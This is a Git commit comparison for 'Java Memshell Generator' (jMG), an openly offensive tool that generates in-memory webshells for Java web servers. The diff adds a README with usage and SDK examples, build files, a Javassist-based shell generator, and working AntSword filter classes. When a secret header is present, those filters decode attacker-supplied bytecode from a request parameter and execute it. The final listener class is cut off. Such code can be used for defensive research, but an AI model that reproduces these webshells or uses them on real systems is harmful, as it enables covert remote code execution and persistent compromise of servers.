Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
146d04cf12 | ||
|
|
182108956e | ||
|
|
35367e7d06 | ||
|
|
4d43d247c1 | ||
|
|
5898ae1ecd | ||
|
|
cdc889c9ec | ||
|
|
42db539c75 | ||
|
|
eb32f32c1b | ||
|
|
5a2b4e62ad | ||
|
|
0b13cd1528 | ||
|
|
6d14555b94 | ||
|
|
e2ad182bcf | ||
|
|
d5c7b731ab | ||
|
|
ac9c608699 | ||
|
|
916d12982f | ||
|
|
e5994d4813 | ||
|
|
5e4cc68000 | ||
|
|
315dcad8b4 | ||
|
|
70c7b7013d | ||
|
|
ce1be0dda9 | ||
|
|
fd69732a77 | ||
|
|
b0a8540395 | ||
|
|
65d4ca65ba | ||
|
|
6e667fb9ac | ||
|
|
b422a60ee1 | ||
|
|
3f33658d86 | ||
|
|
b6e34b31e2 | ||
|
|
1e4291e965 | ||
|
|
fc4fd115b4 |
@@ -1,44 +1,124 @@
|
||||
# Java Memshell Generator
|
||||
<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
|
||||
<p align="center">
|
||||
<h1 align="center">Java Memshell Generator</h1>
|
||||
<div align="center">
|
||||
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
|
||||
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
|
||||
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
|
||||
</div>
|
||||
<div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
|
||||
</p>
|
||||
|
||||
## 0x01 Introduce
|
||||
<img src="./jmg-docs/img/gui.png" width="900px" />
|
||||
|
||||
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。
|
||||
<br>
|
||||
|
||||
主要功能如下:
|
||||
- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
|
||||
- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
|
||||
- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
|
||||
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
|
||||
- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
|
||||
> [!WARNING]
|
||||
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
|
||||
|
||||
> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
|
||||
<br>
|
||||
|
||||
## 功能
|
||||
|
||||
## 0x02 Usage
|
||||
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
|
||||
|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
|
||||
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
|
||||
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
|
||||
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
|
||||
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
|
||||
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
|
||||
| Undertow | | Custom | | JAR_AGENT | |
|
||||
| GlassFish | | | | JS | |
|
||||
| | | | | JSP | |
|
||||
|
||||
下载 jMG-GUI.jar 运行即可
|
||||
## 编译
|
||||
|
||||

|
||||
maven (v3.9.3)
|
||||
|
||||
|
||||
## 0x03 Contributor
|
||||
|
||||
```text
|
||||
奇安信观星实验室(SGLAB of Legendsec at Qi'anxin Group)
|
||||
```shell
|
||||
mvn package assembly:single
|
||||
```
|
||||
|
||||
<img src="./img/sglab.svg" width=300 alt="SgLab">
|
||||
## 使用
|
||||
|
||||
## 0x04 Reference
|
||||
**图形化**
|
||||
|
||||
使用手册
|
||||
- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
|
||||
- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
|
||||
- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
|
||||
```shell
|
||||
java -jar ./releases/jmg-gui-1.0.8.jar
|
||||
```
|
||||
|
||||
参考项目
|
||||
- https://github.com/woodpecker-appstore/jexpr-encoder-utils
|
||||
**命令行**
|
||||
|
||||
```shell
|
||||
java -jar ./releases/jmg-cli-1.0.8.jar
|
||||
```
|
||||
|
||||
**Woodpecker 插件**
|
||||
|
||||
将 jmg-woodpecker-1.0.8.jar 添加到 woodpecker 插件目录
|
||||
|
||||
|
||||
**第三方库 (Maven)**
|
||||
|
||||
1.将 jmg-sdk-1.0.8.jar 安装到本地 maven 仓库
|
||||
|
||||
```shell
|
||||
mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.8.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.8 -Dpackaging=jar
|
||||
```
|
||||
|
||||
2.添加为依赖
|
||||
|
||||
```xml
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-sdk</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
3.示例
|
||||
|
||||
```
|
||||
// 基础配置
|
||||
AbstractConfig config = new AbstractConfig() {{
|
||||
// 设置工具类型
|
||||
setToolType(Constants.TOOL_GODZILLA);
|
||||
// 设置中间件 or 框架
|
||||
setServerType(Constants.SERVER_TOMCAT);
|
||||
// 设置内存马类型
|
||||
setShellType(Constants.SHELL_LISTENER);
|
||||
// 设置输出格式为 BASE64
|
||||
setOutputFormat(Constants.FORMAT_BASE64);
|
||||
// 设置漏洞利用封装,默认不启用
|
||||
setGadgetType(Constants.GADGET_NONE);
|
||||
// 初始化基础配置
|
||||
build();
|
||||
}};
|
||||
|
||||
jMGenerator generator = new jMGenerator(config);
|
||||
generator.genPayload();
|
||||
generator.printPayload();
|
||||
|
||||
// 连接信息
|
||||
SDKResultUtil.printBasicInfo(config);
|
||||
SDKResultUtil.printDebugInfo(config);
|
||||
```
|
||||
|
||||
## 文档
|
||||
|
||||
- [jMG v1.0.8](./jmg-docs/1.0.8/)
|
||||
- [jMG v1.0.6](./jmg-docs/1.0.6/)
|
||||
- [jMG v1.0.5](./jmg-docs/1.0.5/)
|
||||
- [jMG v1.0.4](./jmg-docs/1.0.4/)
|
||||
|
||||
## 致谢
|
||||
|
||||
- https://github.com/c0ny1
|
||||
- https://github.com/whwlsfb
|
||||
- https://github.com/feihong-cs/memShell
|
||||
- https://github.com/su18/MemoryShell
|
||||
- https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
- https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
|
||||
|
||||
## 协议
|
||||
|
||||
- MIT
|
||||
|
Before Width: | Height: | Size: 47 KiB |
@@ -1,100 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<svg version="1.1" id="图层_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 612 233.9" style="enable-background:new 0 0 612 233.9;" xml:space="preserve">
|
||||
<style type="text/css">
|
||||
.st0{fill:#144495;}
|
||||
.st1{filter:url(#Adobe_OpacityMaskFilter);}
|
||||
.st2{fill:url(#SVGID_2_);}
|
||||
.st3{mask:url(#SVGID_1_);fill:#144495;}
|
||||
</style>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path class="st0" d="M184.2,125.1c4.5-10.8,7.5-23.3,8.6-37.3h-27.3v5.2h21c-0.9,9.6-2.8,17.6-5.7,25.4l-10.4-20.1l-5.1,2.3
|
||||
l12.7,24.8c-3.9,8.6-9,16.4-14.9,23.3l4.5,3.4c5.1-6.2,9.8-13,13.5-20.5l7.5,14.4l5.2-2.4L184.2,125.1z"/>
|
||||
<path class="st0" d="M203.8,90.8c0-1.7,1.9-3,3.8-3h22.5c1.9,0,3.3,1.3,3.3,3v39.7h6.1V90.8c0-4.7-4.4-8.2-9.4-8.2h-22.5
|
||||
c-5,0-9,3.6-9,8.2v39.7h5.2V90.8z"/>
|
||||
<path class="st0" d="M266,113.1h44.1c10.5,0,10.5-4.9,10.5-10.3V91.9c0-5.5,0-10.2-10.5-10.2H266c-10.8,0-10.8,4.8-10.8,10.2
|
||||
v10.8C255.3,108.2,255.3,113.1,266,113.1z M261.4,91.9c0-2.6-0.1-5,4.7-5h44.1c5.3,0,5.3,2.4,5.3,5v2.9h-54.1V91.9z M261.4,100
|
||||
h54.1v2.7c0,2.5-0.1,4.2-5.3,4.2H266c-4.7,0-4.7-1.7-4.7-4.2V100z"/>
|
||||
<path class="st0" d="M291,148.9v-8.7h29.6v-5.2H291v-8.7h29.6V121H291v-6.1h-5.2v6.1h-24.1l1.5-5.4l-5.7-1.3l-3.4,11.9h31.7v8.7
|
||||
h-31.4v5.2h31.4v8.7h-55.1c-2.7,0-5.1-2-5.1-4.6v-18.9h-5.7c0.7-3.5,1.3-6.9,1.3-11.2V95.7h-6.1v18.5c0,21-10.5,29.7-25.2,34.9
|
||||
l2,5.1c13.9-5,24.9-12.5,27.6-28.6v18.6c0,5.5,5.3,9.9,11.2,9.9H325v-5.2H291z"/>
|
||||
</g>
|
||||
<path class="st0" d="M385.2,99.2v2.1c0,9.8-1.4,20.6-4.5,26.7h30.7v5.2h-24.6l25.8,16.2l-3.3,4.6l-32.2-20
|
||||
c-8.1,10.4-21.8,15.9-41.3,19.8l-1.2-5.4c15.9-3.2,27.6-7.4,35-15.2h-34.1v-5.2h38.4c3.8-6.1,6.1-16.5,6.1-26.7v-2.1H385.2z
|
||||
M376.5,81.7V87h23.9c5.9,0,11,4.1,11,9.5v3.5h-6.1v-3.5c0-2.5-2.1-4.3-4.9-4.3h-53c-2.8,0-5,1.8-5,4.3v3.5h-6.1v-3.5
|
||||
c0-5.5,5.2-9.5,11.1-9.5h23.8v-5.2H376.5z M339,106.1h27.9v5.2H339V106.1z M339,116.6h27.9v6.1H339V116.6z"/>
|
||||
<g>
|
||||
<path class="st0" d="M441.2,114.9h-13.9l1.7-22.7l-5.8-0.3l-2,28.3h20c1.9,0,3.3,1.5,3.3,3.2v22.2c0,1.7-1.4,3.3-3.3,3.3h-10.6
|
||||
v5.2h10.6c5.1,0,9.4-3.9,9.4-8.5v-22.2C450.6,118.7,446.2,114.9,441.2,114.9z"/>
|
||||
<path class="st0" d="M457.6,108.8h33.9l1.7,3.7l5.4-2.2l-8.9-20.5c-2.1-4.6-5.4-7.2-11.1-7.2h-8.1c-5.8,0-9,2.5-11.1,7.2
|
||||
l-8.9,20.6l5.3,2.2L457.6,108.8z M464.8,92.4c1-2.5,2.7-3.7,5.7-3.7h8.1c2.8,0,4.6,1.4,5.7,3.7l4.9,11.2h-29.3L464.8,92.4z"/>
|
||||
<path class="st0" d="M443.6,90.3v22.8h6.1V90.3c0-4.7-4.4-8.5-9.6-8.5h-17.5V87h17.5C442,87,443.6,88.5,443.6,90.3z"/>
|
||||
<rect x="420.1" y="132.3" class="st0" width="21.8" height="5.2"/>
|
||||
<polygon class="st0" points="458.1,144.6 464,144 460.6,114.6 454.8,115.2 "/>
|
||||
<path class="st0" d="M483.5,143.4l5.6,1.7c3.3-8.6,5.7-18.4,7-30l-5.8-0.6C489.1,125.9,486.7,135.3,483.5,143.4z"/>
|
||||
<polygon class="st0" points="473.8,144.6 479.6,144 476.3,114.6 470.5,115.2 "/>
|
||||
<path class="st0" d="M573,87h-24.8v-5.2h-6.1V87h-25.3c-5.9,0-10.4,4.7-10.4,10.1v3h5.2v-3c0-2.5,2.5-4.9,5.2-4.9H573
|
||||
c2.7,0,4.9,2.4,4.9,4.9v3h6.1v-3C584,91.6,579,87,573,87z"/>
|
||||
<path class="st0" d="M548.3,139.3h32.3V134h-32.3v-8.7h20.6c3.8,0,6.2-0.9,7.1-3.3c0.6-1.5-0.3-4.5-0.3-4.5l-2.6-8.7h-5.2
|
||||
l2.2,8.3c0.2,0.4,0.3,0.9,0.2,1.4c-0.2,1.2-0.9,1.6-2.5,1.6h-45.3c-0.8,0-1.4-0.8-1.2-1.6l2.3-9.8h56.2v-5.2h-69.8v5.2h7.6
|
||||
l-2.6,10.8c-0.7,2.9,1.5,5.8,4.5,5.8h22.7v8.7h-32.3v5.2h32.3v9.6h-35.7h-54.1v5.2h54.1h76.7v-5.2h-34.9V139.3z"/>
|
||||
</g>
|
||||
</g>
|
||||
<path class="st0" d="M106.2,148.4c-30.3,0-54.9-24.6-54.9-54.9c0-16.4,7.2-31.2,18.6-41.2C50,60.5,36.1,80.1,36.1,103
|
||||
c0,30.3,24.6,54.9,54.9,54.9c13.9,0,26.6-5.2,36.3-13.7C120.8,146.9,113.7,148.4,106.2,148.4z"/>
|
||||
<defs>
|
||||
<filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1">
|
||||
<feFlood style="flood-color:white;flood-opacity:1" result="back"/>
|
||||
<feBlend in="SourceGraphic" in2="back" mode="normal"/>
|
||||
</filter>
|
||||
</defs>
|
||||
<mask maskUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1" id="SVGID_1_">
|
||||
<g class="st1">
|
||||
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="78.4262" y1="157.0465" x2="78.4262" y2="174.4841">
|
||||
<stop offset="0" style="stop-color:#FFFFFF"/>
|
||||
<stop offset="0.6266" style="stop-color:#000000"/>
|
||||
</linearGradient>
|
||||
<rect x="54.7" y="153.5" class="st2" width="47.5" height="26.4"/>
|
||||
</g>
|
||||
</mask>
|
||||
<path class="st3" d="M70.5,156c-4,3.8-5.7,9.2-4.9,14.3c0.7-3,2.3-5.8,4.7-8.1c6.6-6.3,16.9-6,23.2,0.5c2.4,2.5,3.9,5.7,4.3,8.9
|
||||
c1.2-5.2-0.1-10.9-4.1-15C87.4,150,77,149.8,70.5,156z"/>
|
||||
<circle class="st0" cx="101" cy="87.7" r="4.3"/>
|
||||
<circle class="st0" cx="139.8" cy="99.1" r="2.3"/>
|
||||
<circle class="st0" cx="110.2" cy="104.8" r="2.3"/>
|
||||
<circle class="st0" cx="117" cy="109.7" r="1.7"/>
|
||||
<circle class="st0" cx="96.9" cy="75.9" r="1.7"/>
|
||||
<circle class="st0" cx="119.3" cy="91.9" r="8.3"/>
|
||||
<circle class="st0" cx="77.9" cy="80.1" r="6.4"/>
|
||||
<circle class="st0" cx="128" cy="71.3" r="4.6"/>
|
||||
<circle class="st0" cx="98.4" cy="64.9" r="5.6"/>
|
||||
<circle class="st0" cx="128" cy="116.6" r="4.6"/>
|
||||
<circle class="st0" cx="90" cy="108.6" r="6.7"/>
|
||||
<circle class="st0" cx="107.1" cy="120.4" r="3.7"/>
|
||||
|
||||
<rect x="107.7" y="61.3" transform="matrix(0.7905 -0.6124 0.6124 0.7905 -25.2021 83.0611)" class="st0" width="2.3" height="34.1"/>
|
||||
|
||||
<rect x="108.8" y="80.4" transform="matrix(0.2234 -0.9747 0.9747 0.2234 -1.9557 177.0957)" class="st0" width="2.7" height="18.7"/>
|
||||
|
||||
<rect x="112.5" y="80.3" transform="matrix(0.3918 -0.9201 0.9201 0.3918 0.1236 163.3955)" class="st0" width="22.3" height="2.7"/>
|
||||
|
||||
<rect x="122.3" y="91.1" transform="matrix(0.9427 -0.3336 0.3336 0.9427 -27.6821 47.216)" class="st0" width="2.7" height="26.2"/>
|
||||
|
||||
<rect x="123.4" y="107.1" transform="matrix(0.5591 -0.8291 0.8291 0.5591 -30.3576 158.5684)" class="st0" width="21.1" height="1.5"/>
|
||||
|
||||
<rect x="106.9" y="117.7" transform="matrix(0.9839 -0.1787 0.1787 0.9839 -19.2791 22.9183)" class="st0" width="21.2" height="1.5"/>
|
||||
|
||||
<rect x="83.7" y="97" transform="matrix(0.4665 -0.8845 0.8845 0.4665 -35.8407 136.8488)" class="st0" width="23.6" height="2.3"/>
|
||||
|
||||
<rect x="88.1" y="71.7" transform="matrix(0.3116 -0.9502 0.9502 0.3116 -18.1309 142.744)" class="st0" width="2.7" height="24.4"/>
|
||||
|
||||
<rect x="89.8" y="106.1" transform="matrix(0.9826 -0.1856 0.1856 0.9826 -18.0609 20.428)" class="st0" width="20.5" height="1.1"/>
|
||||
|
||||
<rect x="113.2" y="103" transform="matrix(0.5708 -0.8211 0.8211 0.5708 -39.2419 139.2606)" class="st0" width="0.8" height="8.3"/>
|
||||
|
||||
<rect x="91.7" y="69.8" transform="matrix(0.1133 -0.9936 0.9936 0.1133 16.7537 159.089)" class="st0" width="11.6" height="0.8"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 6.6 KiB |
@@ -0,0 +1,76 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
|
||||
<artifactId>jmg-all</artifactId>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
</properties>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-woodpecker</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-sdk</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-cli</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-gui</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<version>3.6.0</version>
|
||||
<configuration>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>jmg.all.jMGApp</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<appendAssemblyId>false</appendAssemblyId>
|
||||
<outputDirectory>../releases</outputDirectory>
|
||||
</configuration>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>make-assembly</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
||||
@@ -0,0 +1,26 @@
|
||||
package jmg.all;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
public class jMGApp {
|
||||
public static void main(String[] args) throws Throwable {
|
||||
if (args.length < 1) {
|
||||
System.out.println("jmg usage:");
|
||||
System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION);
|
||||
System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION);
|
||||
return;
|
||||
}
|
||||
|
||||
switch (args[0]) {
|
||||
case "gui":
|
||||
jmg.gui.GUIApp.main(args);
|
||||
break;
|
||||
case "cli":
|
||||
jmg.cli.CLIApp.main(args);
|
||||
break;
|
||||
default:
|
||||
System.out.println("Invalid command. Please use either 'cli' or 'gui'.");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
<artifactId>jmg-antsword</artifactId>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,62 @@
|
||||
package jmg.antsword.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.generator.IShellGenerator;
|
||||
import jmg.antsword.util.ShellUtil;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
import jmg.core.util.ResponseUtil;
|
||||
public class AntSwordGenerator implements IShellGenerator {
|
||||
|
||||
@Override
|
||||
public void initShell(AbstractConfig config) {
|
||||
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||
initShell(config);
|
||||
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||
byte[] bytes = modifyShell(shellClassName, config);
|
||||
config.setShellBytes(bytes);
|
||||
config.setShellBytesLength(bytes.length);
|
||||
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||
byte[] bytes = new byte[0];
|
||||
try {
|
||||
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||
|
||||
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordFilter implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = doBase64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaFilter implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = doBase64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaListener implements ServletRequestListener {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
